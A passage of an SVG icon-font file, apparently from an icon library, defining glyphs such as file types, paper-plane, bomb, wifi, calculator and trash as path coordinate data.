c0 13.2549 10.7451 24 24 24h200v-136c0 -13.2002 10.7998 -24 24 -24zM112.545 272c-26.5088 0 -48 -21.4902 -48 -48s21.4902 -48 48 -48s48 21.4902 48 48s-21.4902 48 -48 48zM320.545 32v112l-39.5137 39.5146c-4.6875 4.68652 -12.2852 4.68652 -16.9717 0
l-103.515 -103.515l-39.5146 39.5146c-4.68652 4.68652 -11.7988 5.1709 -16.4854 0.485352l-39.5146 -39.5146l-0.485352 -48.4854h256z" />
    <glyph glyph-name="file-archive" unicode="&#xf1c6;" horiz-adv-x="384" 
d="M377 343c4.5 -4.5 7 -10.5996 7 -16.9004v-6.09961h-128v128h6.09961c6.40039 0 12.5 -2.5 17 -7zM128.4 112c17.8994 0 32.5 -12.0996 32.5 -27s-14.5 -27 -32.4004 -27s-32.5 12 -32.5 27c0 14.9004 14.5 27 32.4004 27zM224 312c0 -13.2002 10.7998 -24 24 -24h136
v-328c0 -13.2998 -10.7002 -24 -24 -24h-336c-13.2998 0 -24 10.7002 -24 24v464c0 13.2998 10.7002 24 24 24h104.4v-32h32v32h63.5996v-136zM95.9004 416v-32h32v32h-32zM128.2 32c33 0 57.7998 30.2002 51.3994 62.5996l-17.2998 87.7002
c-1.09961 5.60059 -6.09961 9.7002 -11.7998 9.7002h-22.0996v32h32v32h-32v32h32v32h-32v32h32v32h-32v-32h-32v-32h32v-32h-32v-32h32v-32h-32v-32l-19.6006 -97.0996c-6.59961 -32.5 18.2002 -62.9004 51.4004 -62.9004z" />
    <glyph glyph-name="file-audio" unicode="&#xf1c7;" horiz-adv-x="384" 
d="M224 312c0 -13.2002 10.7998 -24 24 -24h136v-328c0 -13.2998 -10.7002 -24 -24 -24h-336c-13.2998 0 -24 10.7002 -24 24v464c0 13.2998 10.7002 24 24 24h200v-136zM160 44v136c0 10.7002 -12.9004 16.0996 -20.5 8.5l-35.5 -36.5h-28c-6.59961 0 -12 -5.40039 -12 -12
v-56c0 -6.59961 5.40039 -12 12 -12h28l35.5 -36.5c7.59961 -7.5 20.5 -2.2002 20.5 8.5zM193.2 91.5996c-22.5 -23.0996 12.5996 -55.7998 34.3994 -33.5c27.2002 28 27.2002 72.5 0 100.4c-22.1992 22.7002 -56.5 -10.7002 -34.3994 -33.5
c9.09961 -9.2998 9.09961 -24.0996 0 -33.4004zM279.2 208.7c-22.1006 22.7998 -56.5 -10.7002 -34.4004 -33.5c36.2998 -37.2998 36.2002 -96.6006 0 -133.8c-22.5996 -23.2002 12.6006 -55.9004 34.4004 -33.5c54.3994 56 54.3994 144.899 0 200.8zM384 326.1v-6.09961
h-128v128h6.09961c6.40039 0 12.5 -2.5 17 -7l97.9004 -98c4.5 -4.5 7 -10.5996 7 -16.9004z" />
    <glyph glyph-name="file-video" unicode="&#xf1c8;" horiz-adv-x="384" 
d="M384 326.059v-6.05859h-128v128h6.05859c6.36523 0 12.4707 -2.5293 16.9717 -7.0293l97.9404 -97.9404c3.87988 -3.88086 7.0293 -11.4834 7.0293 -16.9717zM224 312c0 -13.2002 10.7998 -24 24 -24h136v-328c0 -13.2549 -10.7451 -24 -24 -24h-336
c-13.2549 0 -24 10.7451 -24 24v464c0 13.2549 10.7451 24 24 24h200v-136zM320 167.984c0 21.4609 -25.96 31.9795 -40.9707 16.9697l-55.0293 -55.0127v38.0586c0 13.2549 -10.7451 24 -24 24h-112c-13.2549 0 -24 -10.7451 -24 -24v-112c0 -13.2549 10.7451 -24 24 -24
h112c13.2549 0 24 10.7451 24 24v38.0586l55.0293 -55.0088c15.0273 -15.0264 40.9707 -4.47363 40.9707 16.9717v111.963z" />
    <glyph glyph-name="file-code" unicode="&#xf1c9;" horiz-adv-x="384" 
d="M384 326.059v-6.05859h-128v128h6.05859c6.36523 0 12.4707 -2.5293 16.9717 -7.0293l97.9404 -97.9404c3.87988 -3.88086 7.0293 -11.4834 7.0293 -16.9717zM248 288h136v-328c0 -13.2549 -10.7451 -24 -24 -24h-336c-13.2549 0 -24 10.7451 -24 24v464
c0 13.2549 10.7451 24 24 24h200v-136c0 -13.2002 10.7998 -24 24 -24zM123.206 47.4951l19.5791 20.8838c0.805664 0.860352 1.45996 2.51465 1.45996 3.69336c0 1.34766 -0.820312 3.16309 -1.83203 4.05371l-40.7627 35.874l40.7627 35.874
c1.01172 0.890625 1.83203 2.70605 1.83203 4.05371c0 1.17871 -0.654297 2.83301 -1.45996 3.69336l-19.5791 20.8848c-0.882812 0.942383 -2.64844 1.70703 -3.93945 1.70703c-1.17871 0 -2.83398 -0.654297 -3.69336 -1.46094l-64.8662 -60.8115
c-0.942383 -0.883789 -1.70703 -2.64844 -1.70703 -3.93945c0 -1.29199 0.764648 -3.05664 1.70703 -3.94043l64.8662 -60.8115c0.859375 -0.806641 2.51465 -1.46094 3.69336 -1.46094c1.29102 0 3.05664 0.764648 3.93945 1.70703zM174.501 -2.98438
c0.407227 -0.118164 1.08203 -0.213867 1.50586 -0.213867c2.23926 0 4.56152 1.74512 5.18457 3.89551l61.4395 211.626c0.118164 0.407227 0.214844 1.08203 0.214844 1.50586c0 2.23828 -1.74512 4.56152 -3.89453 5.18555l-27.4521 7.9707
c-0.407227 0.117188 -1.08105 0.213867 -1.50488 0.213867c-2.23828 0 -4.5625 -1.74512 -5.1875 -3.89551l-61.4395 -211.626c-0.118164 -0.40625 -0.213867 -1.08105 -0.213867 -1.50391c0 -2.23926 1.74512 -4.56348 3.89453 -5.1875zM335.293 108.061
c0.942383 0.883789 1.70703 2.64844 1.70703 3.94043c0 1.29102 -0.764648 3.05566 -1.70605 3.93945l-64.8662 60.8115c-0.859375 0.806641 -2.51465 1.46094 -3.69336 1.46094c-1.29102 0 -3.05566 -0.764648 -3.93945 -1.70703l-19.5801 -20.8848
c-0.805664 -0.860352 -1.45996 -2.51465 -1.45996 -3.69336c0 -1.34766 0.820312 -3.16309 1.83203 -4.05371l40.7627 -35.874l-40.7637 -35.873c-1.01172 -0.890625 -1.83203 -2.70605 -1.83203 -4.05371c0 -1.17871 0.654297 -2.83301 1.45996 -3.69336l19.5801 -20.8848
c0.882812 -0.942383 2.64844 -1.70703 3.93945 -1.70703c1.17871 0 2.83398 0.654297 3.69336 1.46094z" />
    <glyph glyph-name="life-ring" unicode="&#xf1cd;" 
d="M256 440c136.967 0 248 -111.033 248 -248s-111.033 -248 -248 -248s-248 111.033 -248 248s111.033 248 248 248zM429.696 320.441c-10.6406 14.3398 -30.915 34.6143 -45.2549 45.2549l-63.3994 -63.3994c18.585 -11.0029 34.2676 -26.6963 45.2549 -45.2549zM256 96
c53.0186 0 96 42.9814 96 96s-42.9814 96 -96 96s-96 -42.9814 -96 -96s42.9814 -96 96 -96zM127.559 365.696c-14.3398 -10.6406 -34.6143 -30.915 -45.2549 -45.2549l63.3994 -63.3994c11.0029 18.585 26.6963 34.2676 45.2549 45.2549zM82.3037 63.5586
c10.6406 -14.3398 30.915 -34.6143 45.2549 -45.2549l63.3994 63.3994c-18.585 11.0029 -34.2676 26.6963 -45.2549 45.2549zM384.441 18.3037c14.3398 10.6406 34.6143 30.915 45.2549 45.2549l-63.3994 63.3994c-11.0029 -18.585 -26.6963 -34.2676 -45.2549 -45.2549z
" />
    <glyph glyph-name="circle-notch" unicode="&#xf1ce;" 
d="M288 408.944c0 15.5996 14.6777 27.167 29.7891 23.292c107.071 -27.457 186.211 -124.604 186.211 -240.236c0 -136.788 -110.745 -247.711 -247.466 -247.999c-137.054 -0.289062 -247.812 109.615 -248.531 246.667c-0.609375 116.126 78.5996 213.85 185.951 241.502
c15.2119 3.91895 30.0459 -7.52539 30.0459 -23.2344v-16.6475c0 -10.8047 -7.28125 -20.1621 -17.6885 -23.0693c-77.5254 -21.6543 -134.312 -92.749 -134.312 -177.219c0 -101.705 82.3105 -184 184 -184c101.705 0 184 82.3105 184 184
c0 84.4824 -56.7959 155.566 -134.314 177.219c-10.4043 2.90723 -17.6855 12.2627 -17.6855 23.0664v16.6592z" />
    <glyph glyph-name="paper-plane" unicode="&#xf1d8;" 
d="M476 444.8c17.2998 10 39 -4.59961 35.5996 -24.7998l-72 -432c-2.59961 -15.2998 -18.7998 -24.2002 -33 -18.2002l-124.6 52.2002l-63.5 -77.2998c-14 -17.1006 -42.5 -7.7998 -42.5 15.7998v80.5l240.9 293.5c4.69922 5.7002 -3.10059 13.2002 -8.60059 8.2998
l-287.3 -253.2l-106.3 44.6006c-18 7.59961 -20.2998 32.7998 -2.2002 43.2002z" />
    <glyph glyph-name="history" unicode="&#xf1da;" 
d="M504 192.469c0.25293 -136.64 -111.18 -248.372 -247.82 -248.468c-59.0146 -0.0419922 -113.223 20.5303 -155.821 54.9111c-11.0771 8.93945 -11.9053 25.541 -1.83984 35.6064l11.2676 11.2676c8.6084 8.6084 22.3525 9.55078 31.8906 1.9834
c31.3848 -24.9043 71.1045 -39.7695 114.323 -39.7695c101.705 0 184 82.3105 184 184c0 101.705 -82.3105 184 -184 184c-48.8145 0 -93.1494 -18.9688 -126.068 -49.9316l50.7539 -50.7539c10.0801 -10.0801 2.94141 -27.3145 -11.3125 -27.3145h-145.373
c-8.83691 0 -16 7.16309 -16 16v145.373c0 14.2539 17.2344 21.3926 27.3145 11.3135l49.3711 -49.3711c44.5234 42.5488 104.866 68.6846 171.314 68.6846c136.81 0 247.747 -110.78 248 -247.531zM323.088 113.685c-8.1377 -10.4629 -23.2158 -12.3467 -33.6787 -4.20996
l-65.4092 50.874v135.651c0 13.2549 10.7451 24 24 24h16c13.2549 0 24 -10.7451 24 -24v-104.349l40.7012 -31.6572c10.4629 -8.13672 12.3477 -23.2158 4.20996 -33.6787z" />
    <glyph glyph-name="heading" unicode="&#xf1dc;" 
d="M448 352v-320h32c8.83203 0 16 -7.16797 16 -16v-32c0 -8.83203 -7.16797 -16 -16 -16h-160c-8.83203 0 -16 7.16797 -16 16v32c0 8.83203 7.16797 16 16 16h32v128h-192v-128h32c8.83203 0 16 -7.16797 16 -16v-32c0 -8.83203 -7.16797 -16 -16 -16h-160
c-8.83203 0 -16 7.16797 -16 16v32c0 8.83203 7.16797 16 16 16h32v320h-32c-8.83203 0 -16 7.16797 -16 16v32c0 8.83203 7.16797 16 16 16h160c8.83203 0 16 -7.16797 16 -16v-32c0 -8.83203 -7.16797 -16 -16 -16h-32v-128h192v128h-32c-8.83203 0 -16 7.16797 -16 16v32
c0 8.83203 7.16797 16 16 16h160c8.83203 0 16 -7.16797 16 -16v-32c0 -8.83203 -7.16797 -16 -16 -16h-32z" />
    <glyph glyph-name="paragraph" unicode="&#xf1dd;" horiz-adv-x="448" 
d="M448 400v-32c0 -8.83203 -7.16797 -16 -16 -16h-48v-368c0 -8.83203 -7.16797 -16 -16 -16h-32c-8.83203 0 -16 7.16797 -16 16v368h-32v-368c0 -8.83203 -7.16797 -16 -16 -16h-32c-8.83203 0 -16 7.16797 -16 16v112h-32c-88.3203 0 -160 71.6797 -160 160
s71.6797 160 160 160h240c8.83203 0 16 -7.16797 16 -16z" />
    <glyph glyph-name="sliders-h" unicode="&#xf1de;" 
d="M496 64c8.7998 0 16 -7.2002 16 -16v-32c0 -8.7998 -7.2002 -16 -16 -16h-336v-16c0 -8.7998 -7.2002 -16 -16 -16h-32c-8.7998 0 -16 7.2002 -16 16v16h-80c-8.7998 0 -16 7.2002 -16 16v32c0 8.7998 7.2002 16 16 16h80v16c0 8.7998 7.2002 16 16 16h32
c8.7998 0 16 -7.2002 16 -16v-16h336zM496 224c8.7998 0 16 -7.2002 16 -16v-32c0 -8.7998 -7.2002 -16 -16 -16h-80v-16c0 -8.7998 -7.2002 -16 -16 -16h-32c-8.7998 0 -16 7.2002 -16 16v16h-336c-8.7998 0 -16 7.2002 -16 16v32c0 8.7998 7.2002 16 16 16h336v16
c0 8.7998 7.2002 16 16 16h32c8.7998 0 16 -7.2002 16 -16v-16h80zM496 384c8.7998 0 16 -7.2002 16 -16v-32c0 -8.7998 -7.2002 -16 -16 -16h-208v-16c0 -8.7998 -7.2002 -16 -16 -16h-32c-8.7998 0 -16 7.2002 -16 16v16h-208c-8.7998 0 -16 7.2002 -16 16v32
c0 8.7998 7.2002 16 16 16h208v16c0 8.7998 7.2002 16 16 16h32c8.7998 0 16 -7.2002 16 -16v-16h208z" />
    <glyph glyph-name="share-alt" unicode="&#xf1e0;" horiz-adv-x="448" 
d="M352 128c53.0186 0 96 -42.9814 96 -96s-42.9814 -96 -96 -96s-96 42.9814 -96 96v0.0283203c0 5.8125 1.01953 15.1367 2.27637 20.8125l-102.486 64.0537c-16.4033 -13.0752 -37.1816 -20.8945 -59.79 -20.8945c-53.0186 0 -96 42.9814 -96 96s42.9814 96 96 96
c22.6084 0 43.3867 -7.81934 59.79 -20.8945l102.486 64.0537c-1.48633 6.71094 -2.27637 13.6826 -2.27637 20.8408c0 53.0186 42.9814 96 96 96s96 -42.9814 96 -96s-42.9814 -96 -96 -96c-22.6084 0 -43.3867 7.81934 -59.79 20.8965l-102.486 -64.0547
c1.25684 -5.68359 2.27637 -15.0205 2.27637 -20.8408c0 -5.82129 -1.01953 -15.1582 -2.27637 -20.8418l102.486 -64.0537c16.4033 13.0752 37.1816 20.8945 59.79 20.8945z" />
    <glyph glyph-name="share-alt-square" unicode="&#xf1e1;" horiz-adv-x="448" 
d="M448 368v-352c0 -26.5098 -21.4902 -48 -48 -48h-352c-26.5098 0 -48 21.4902 -48 48v352c0 26.5098 21.4902 48 48 48h352c26.5098 0 48 -21.4902 48 -48zM304 152c-14.5615 0 -27.8232 -5.56055 -37.7832 -14.6709l-67.958 40.7744
c0.960938 3.77539 1.74121 10.001 1.74121 13.8975c0 3.89551 -0.780273 10.1211 -1.74121 13.8965l67.958 40.7744c9.95996 -9.11133 23.2217 -14.6719 37.7832 -14.6719c30.9277 0 56 25.0723 56 56s-25.0723 56 -56 56s-56 -25.0723 -56 -56
c0 -4.79688 0.605469 -9.45312 1.74023 -13.8975l-67.958 -40.7744c-9.95898 9.11133 -23.2207 14.6719 -37.7822 14.6719c-30.9277 0 -56 -25.0723 -56 -56s25.0723 -56 56 -56c14.5615 0 27.8232 5.56055 37.7832 14.6709l67.958 -40.7744
c-0.960938 -3.7666 -1.74023 -9.97656 -1.74023 -13.8623v-0.0351562c0 -30.9277 25.0723 -56 56 -56s56 25.0723 56 56c-0.000976562 30.9287 -25.0732 56.001 -56.001 56.001z" />
    <glyph glyph-name="bomb" unicode="&#xf1e2;" 
d="M440.5 359.5l-52 -52l26.5 -26.5c9.40039 -9.40039 9.40039 -24.5996 0 -33.9004l-17.4004 -17.3994c11.8008 -26.1006 18.4004 -55.1006 18.4004 -85.6006c0 -114.899 -93.0996 -208 -208 -208s-208 93 -208 207.9s93.0996 208 208 208
c30.5 0 59.5 -6.59961 85.5996 -18.4004l17.4004 17.4004c9.40039 9.40039 24.5996 9.40039 33.9004 0l26.5 -26.5l52 52zM500 388c6.59961 0 12 -5.40039 12 -12s-5.40039 -12 -12 -12h-24c-6.59961 0 -12 5.40039 -12 12s5.40039 12 12 12h24zM440 448
c6.59961 0 12 -5.40039 12 -12v-24c0 -6.59961 -5.40039 -12 -12 -12s-12 5.40039 -12 12v24c0 6.59961 5.40039 12 12 12zM473.9 393c-4.60059 -4.7002 -12.2002 -4.7002 -17 0c-4.7002 4.7002 -4.7002 12.2998 0 17l17 17c4.69922 4.7002 12.2998 4.7002 17 0
c4.69922 -4.7002 4.69922 -12.2998 0 -17zM406.1 393l-17 17c-4.69922 4.7002 -4.69922 12.2998 0 17c4.7002 4.7002 12.3008 4.7002 17 0l17 -17c4.7002 -4.7002 4.7002 -12.2998 0 -17c-4.69922 -4.7002 -12.2998 -4.7002 -17 0zM473.9 359l17 -17
c4.69922 -4.7002 4.69922 -12.2998 0 -17c-4.7002 -4.7002 -12.3008 -4.7002 -17 0l-17 17c-4.7002 4.7002 -4.7002 12.2998 0 17c4.69922 4.7002 12.2998 4.7002 17 0zM112 176c0 35.2998 28.7002 64 64 64c8.7998 0 16 7.2002 16 16s-7.2002 16 -16 16
c-52.9004 0 -96 -43.0996 -96 -96c0 -8.7998 7.2002 -16 16 -16s16 7.2002 16 16z" />
    <glyph glyph-name="futbol" unicode="&#xf1e3;" 
d="M504 192c0 -136.967 -111.033 -248 -248 -248s-248 111.033 -248 248s111.033 248 248 248s248 -111.033 248 -248zM456 192l-0.00292969 0.282227l-26.0645 -22.7412l-62.6787 58.5l16.4541 84.3555l34.3027 -3.07227
c-24.8887 34.2158 -60.0039 60.0889 -100.709 73.1406l13.6514 -31.9385l-74.9531 -41.5264l-74.9531 41.5254l13.6514 31.9385c-40.6309 -13.0283 -75.7803 -38.8701 -100.709 -73.1406l34.5645 3.07324l16.1924 -84.3555l-62.6777 -58.5l-26.0645 22.7412
l-0.00292969 -0.282227c0 -43.0146 13.4971 -83.9521 38.4717 -117.991l7.7041 33.8975l85.1387 -10.4473l36.3008 -77.8262l-29.9023 -17.7861c40.2021 -13.1221 84.29 -13.1475 124.572 0l-29.9023 17.7861l36.3008 77.8262l85.1387 10.4473l7.7041 -33.8975
c24.9756 34.0391 38.4727 74.9766 38.4727 117.991zM207.898 122.429l-29.8945 91.3125l77.9961 56.5264l77.9961 -56.5264l-29.6221 -91.3125h-96.4756z" />
    <glyph glyph-name="tty" unicode="&#xf1e4;" 
d="M5.37012 344.178c138.532 138.532 362.936 138.326 501.262 0c6.07812 -6.07812 7.07422 -15.4961 2.58301 -22.6807l-43.2139 -69.1377c-2.97266 -4.75684 -9.9375 -8.61719 -15.5459 -8.61719c-1.94922 0 -5 0.587891 -6.81055 1.31152l-86.4219 34.5693
c-6.36133 2.54492 -11.5244 10.1719 -11.5244 17.0234c0 0.503906 0.0410156 1.32031 0.0908203 1.82227l5.95215 59.5312c-62.1455 22.4541 -130.636 21.9863 -191.483 0l5.95312 -59.5322c0.0507812 -0.501953 0.0908203 -1.32031 0.0908203 -1.8252
c0 -6.85156 -5.16309 -14.4766 -11.5244 -17.0205l-86.4238 -34.5684c-1.80957 -0.723633 -4.85938 -1.31152 -6.80859 -1.31152c-5.60938 0 -12.5742 3.86035 -15.5469 8.61719l-43.2109 69.1387c-1.53809 2.46094 -2.78711 6.81445 -2.78711 9.7168
c0 4.19141 2.40625 9.99902 5.37012 12.9629zM96 140c0 -6.62695 -5.37305 -12 -12 -12h-40c-6.62695 0 -12 5.37305 -12 12v40c0 6.62695 5.37305 12 12 12h40c6.62695 0 12 -5.37305 12 -12v-40zM192 140c0 -6.62695 -5.37305 -12 -12 -12h-40
c-6.62695 0 -12 5.37305 -12 12v40c0 6.62695 5.37305 12 12 12h40c6.62695 0 12 -5.37305 12 -12v-40zM288 140c0 -6.62695 -5.37305 -12 -12 -12h-40c-6.62695 0 -12 5.37305 -12 12v40c0 6.62695 5.37305 12 12 12h40c6.62695 0 12 -5.37305 12 -12v-40zM384 140
c0 -6.62695 -5.37305 -12 -12 -12h-40c-6.62695 0 -12 5.37305 -12 12v40c0 6.62695 5.37305 12 12 12h40c6.62695 0 12 -5.37305 12 -12v-40zM480 140c0 -6.62695 -5.37305 -12 -12 -12h-40c-6.62695 0 -12 5.37305 -12 12v40c0 6.62695 5.37305 12 12 12h40
c6.62695 0 12 -5.37305 12 -12v-40zM144 44c0 -6.62695 -5.37305 -12 -12 -12h-40c-6.62695 0 -12 5.37305 -12 12v40c0 6.62695 5.37305 12 12 12h40c6.62695 0 12 -5.37305 12 -12v-40zM240 44c0 -6.62695 -5.37305 -12 -12 -12h-40c-6.62695 0 -12 5.37305 -12 12v40
c0 6.62695 5.37305 12 12 12h40c6.62695 0 12 -5.37305 12 -12v-40zM336 44c0 -6.62695 -5.37305 -12 -12 -12h-40c-6.62695 0 -12 5.37305 -12 12v40c0 6.62695 5.37305 12 12 12h40c6.62695 0 12 -5.37305 12 -12v-40zM432 44c0 -6.62695 -5.37305 -12 -12 -12h-40
c-6.62695 0 -12 5.37305 -12 12v40c0 6.62695 5.37305 12 12 12h40c6.62695 0 12 -5.37305 12 -12v-40zM96 -52c0 -6.62695 -5.37305 -12 -12 -12h-40c-6.62695 0 -12 5.37305 -12 12v40c0 6.62695 5.37305 12 12 12h40c6.62695 0 12 -5.37305 12 -12v-40zM384 -52
c0 -6.62695 -5.37305 -12 -12 -12h-232c-6.62695 0 -12 5.37305 -12 12v40c0 6.62695 5.37305 12 12 12h232c6.62695 0 12 -5.37305 12 -12v-40zM480 -52c0 -6.62695 -5.37305 -12 -12 -12h-40c-6.62695 0 -12 5.37305 -12 12v40c0 6.62695 5.37305 12 12 12h40
c6.62695 0 12 -5.37305 12 -12v-40z" />
    <glyph glyph-name="binoculars" unicode="&#xf1e5;" 
d="M416 400v-48h-96v48c0 8.83984 7.16016 16 16 16h64c8.83984 0 16 -7.16016 16 -16zM63.9102 288.01c0.479492 17.6201 14.2998 31.9902 31.9297 31.9902h96.1602v-160h-32v-160c0 -17.6699 -14.3301 -32 -32 -32h-96c-17.6699 0 -32 14.3301 -32 32v44
c3.45996 129.78 61.4004 150.16 63.9102 244.01zM448.09 288.01c2.50977 -93.8496 60.4502 -114.229 63.9102 -244.01v-44c0 -17.6699 -14.3301 -32 -32 -32h-96c-17.6699 0 -32 14.3301 -32 32v160h-32v160h96.1602c17.6299 0 31.4502 -14.3701 31.9297 -31.9902zM176 416
c8.83984 0 16 -7.16016 16 -16v-48h-96v48c0 8.83984 7.16016 16 16 16h64zM224 160v160h64v-160h-64z" />
    <glyph glyph-name="plug" unicode="&#xf1e6;" horiz-adv-x="384" 
d="M256 304v112c0 17.6729 14.3271 32 32 32s32 -14.3271 32 -32v-112h-64zM368 288c8.83691 0 16 -7.16309 16 -16v-32c0 -8.83691 -7.16309 -16 -16 -16h-16v-32c0 -77.4062 -54.9688 -141.971 -128 -156.796v-99.2041h-64v99.2041
c-73.0312 14.8252 -128 79.3896 -128 156.796v32h-16c-8.83691 0 -16 7.16309 -16 16v32c0 8.83691 7.16309 16 16 16h352zM128 304h-64v112c0 17.6729 14.3271 32 32 32s32 -14.3271 32 -32v-112z" />
    <glyph glyph-name="newspaper" unicode="&#xf1ea;" horiz-adv-x="576" 
d="M552 384c13.2549 0 24 -10.7451 24 -24v-312c0 -26.5098 -21.4902 -48 -48 -48h-472c-30.9277 0 -56 25.0723 -56 56v272c0 13.2549 10.7451 24 24 24h40v8c0 13.2549 10.7451 24 24 24h464zM56 48c4.41602 0 8 3.58398 8 8v248h-16v-248c0 -4.41602 3.58398 -8 8 -8z
M292 64c6.62695 0 12 5.37305 12 12v8c0 6.62695 -5.37305 12 -12 12h-152c-6.62695 0 -12 -5.37305 -12 -12v-8c0 -6.62695 5.37305 -12 12 -12h152zM500 64c6.62695 0 12 5.37305 12 12v8c0 6.62695 -5.37305 12 -12 12h-152c-6.62695 0 -12 -5.37305 -12 -12v-8
c0 -6.62695 5.37305 -12 12 -12h152zM292 160c6.62695 0 12 5.37305 12 12v8c0 6.62695 -5.37305 12 -12 12h-152c-6.62695 0 -12 -5.37305 -12 -12v-8c0 -6.62695 5.37305 -12 12 -12h152zM500 160c6.62695 0 12 5.37305 12 12v8c0 6.62695 -5.37305 12 -12 12h-152
c-6.62695 0 -12 -5.37305 -12 -12v-8c0 -6.62695 5.37305 -12 12 -12h152zM500 256c6.62695 0 12 5.37305 12 12v40c0 6.62695 -5.37305 12 -12 12h-360c-6.62695 0 -12 -5.37305 -12 -12v-40c0 -6.62695 5.37305 -12 12 -12h360z" />
    <glyph glyph-name="wifi" unicode="&#xf1eb;" horiz-adv-x="640" 
d="M634.91 293.12c6.66016 -6.16016 6.79004 -16.5898 0.359375 -22.9805l-34.2393 -33.9697c-6.14062 -6.08984 -16.0205 -6.22949 -22.4004 -0.379883c-145.95 133.71 -371.33 133.68 -517.25 0c-6.37988 -5.84961 -16.2598 -5.71973 -22.3994 0.379883l-34.2402 33.9697
c-6.44043 6.39062 -6.31055 16.8203 0.349609 22.9805c177.101 163.81 452.65 163.87 629.82 0zM320 96c35.3496 0 64 -28.6504 64 -64s-28.6504 -64 -64 -64s-64 28.6504 -64 64s28.6504 64 64 64zM522.67 179.59c6.88965 -6.08984 7.12012 -16.6895 0.560547 -23.1494
l-34.4404 -33.9902c-6 -5.93066 -15.6602 -6.32031 -22.0498 -0.799805c-83.75 72.4092 -209.54 72.5693 -293.49 0c-6.38965 -5.52051 -16.0498 -5.12012 -22.0498 0.799805l-34.4404 33.9902c-6.5498 6.45996 -6.33008 17.0498 0.570312 23.1494
c115.13 101.82 290.08 101.93 405.34 0z" />
    <glyph glyph-name="calculator" unicode="&#xf1ec;" horiz-adv-x="448" 
d="M400 448c25.5996 0 48 -22.4004 48 -48v-416c0 -25.5996 -22.4004 -48 -48 -48h-352c-25.5996 0 -48 22.4004 -48 48v416c0 25.5996 22.4004 48 48 48h352zM128 12.7998v38.4004c0 6.39941 -6.40039 12.7998 -12.7998 12.7998h-38.4004
c-6.39941 0 -12.7998 -6.40039 -12.7998 -12.7998v-38.4004c0 -6.39941 6.40039 -12.7998 12.7998 -12.7998h38.4004c6.39941 0 12.7998 6.40039 12.7998 12.7998zM128 140.8v38.4004c0 6.39941 -6.40039 12.7998 -12.7998 12.7998h-38.4004
c-6.39941 0 -12.7998 -6.40039 -12.7998 -12.7998v-38.4004c0 -6.39941 6.40039 -12.7998 12.7998 -12.7998h38.4004c6.39941 0 12.7998 6.40039 12.7998 12.7998zM256 12.7998v38.4004c0 6.39941 -6.40039 12.7998 -12.7998 12.7998h-38.4004
c-6.39941 0 -12.7998 -6.40039 -12.7998 -12.7998v-38.4004c0 -6.39941 6.40039 -12.7998 12.7998 -12.7998h38.4004c6.39941 0 12.7998 6.40039 12.7998 12.7998zM256 140.8v38.4004c0 6.39941 -6.40039 12.7998 -12.7998 12.7998h-38.4004
c-6.39941 0 -12.7998 -6.40039 -12.7998 -12.7998v-38.4004c0 -6.39941 6.40039 -12.7998 12.7998 -12.7998h38.4004c6.39941 0 12.7998 6.40039 12.7998 12.7998zM384 12.7998v166.4c0 6.39941 -6.40039 12.7998 -12.7998 12.7998h-38.4004
c-6.39941 0 -12.7998 -6.40039 -12.7998 -12.7998v-166.4c0 -6.39941 6.40039 -12.7998 12.7998 -12.7998h38.4004c6.39941 0 12.7998 6.40039 12.7998 12.7998zM384 268.8v102.4c0 6.39941 -6.40039 12.7998 -12.7998 12.7998h-294.4
c-6.39941 0 -12.7998 -6.40039 -12.7998 -12.7998v-102.4c0 -6.39941 6.40039 -12.7998 12.7998 -12.7998h294.4c6.39941 0 12.7998 6.40039 12.7998 12.7998z" />
    <glyph glyph-name="bell-slash" unicode="&#xf1f6;" horiz-adv-x="640" 
d="M633.82 -10.0996c6.97949 -5.43066 8.22949 -15.4805 2.80957 -22.4502l-19.6396 -25.2705c-5.43066 -6.97949 -15.4805 -8.23926 -22.46 -2.80957l-588.351 454.729c-6.97949 5.43066 -8.22949 15.4805 -2.80957 22.4502l19.6396 25.2705
c5.41992 6.97949 15.4805 8.22949 22.46 2.80957l144.96 -112.04c22.9307 31.5 57.2607 54.1904 97.5898 62.5703v20.8398c0 17.6699 14.3203 32 31.9805 32s31.9805 -14.3301 31.9805 -32v-20.8301c73.46 -15.2598 127.939 -77.46 127.939 -155.16
c0 -102.3 36.1504 -133.529 55.4697 -154.29c6 -6.43945 8.66016 -14.1602 8.61035 -21.71c0 -1.39941 -0.610352 -2.67969 -0.799805 -4.05957zM157.23 196.46l212.789 -164.46h-241.92c-19.1191 0 -31.9893 15.5996 -32.0996 32
c-0.0498047 7.5498 2.61035 15.2598 8.61035 21.71c16.21 17.4199 44.0098 42.79 52.6201 110.75zM320 -64c-35.3203 0 -63.9697 28.6504 -63.9697 64h127.939c0 -35.3496 -28.6494 -64 -63.9697 -64z" />
    <glyph glyph-name="trash" unicode="&#xf1f8;" horiz-adv-x="448" 
d="M432 416c8.83203 0 16 -7.16797 16 -16v-32c0 -8.83203 -7.16797 -16 -16 -16h-416c-8.83203 0 -16 7.16797 -16 16v32c0 8.83203 7.16797 16 16 16h120l9.40039 18.7002c3.58984 7.3418 13.1357 13.2998 21.3086 13.2998h0.0908203h114.3h0.0175781
c8.20215 0 17.8262 -5.95801 21.4824 -13.2998l9.40039 -18.7002h120zM53.2002 -19l-21.2002 339h384l-21.2002 -339c-1.55469 -24.8369 -23.0146 -44.9971 -47.8994 -45h-245.801c-24.8848 0.00292969 -46.3447 20.1631 -47.8994 45z" />
    <glyph glyph-name="copyright" unicode="&#xf1f9;" 
d="M256 440c136.967 0 248 -111.033 248 -248s-111.033 -248 -248 -248s-248 111.033 -248 248s111.033 248 248 248zM373.134 93.2471c1.58203 1.85645 2.86621 5.34375 2.86621 7.7832c0 2.16309 -1.03613 5.33594 -2.31348 7.08301l-24.5469 33.5713
c-4.44824 6.08691 -13.376 6.61816 -18.5078 1.05371c-0.263672 -0.287109 -26.8467 -28.625 -65.5439 -28.625c-48.7627 0 -74.2773 40.0898 -74.2773 79.6914c0 42.5068 27.8008 76.082 73.916 76.082c35.3516 0 61.6475 -23.666 61.8809 -23.8799
c5.45996 -5.05566 14.1846 -3.97168 18.2334 2.29492l22.3799 34.6553c1.05957 1.64062 1.91992 4.55762 1.91992 6.51074c0 2.57812 -1.41504 6.21191 -3.15723 8.1123c-1.45703 1.58887 -36.4658 38.9043 -103.423 38.9043
c-81.7578 0 -143.762 -62.0986 -143.762 -143.401c0 -82.3066 59.792 -145.567 144.484 -145.567c70.0752 0 108.259 43.8643 109.851 45.7314z" />
    <glyph glyph-name="at" unicode="&#xf1fa;" 
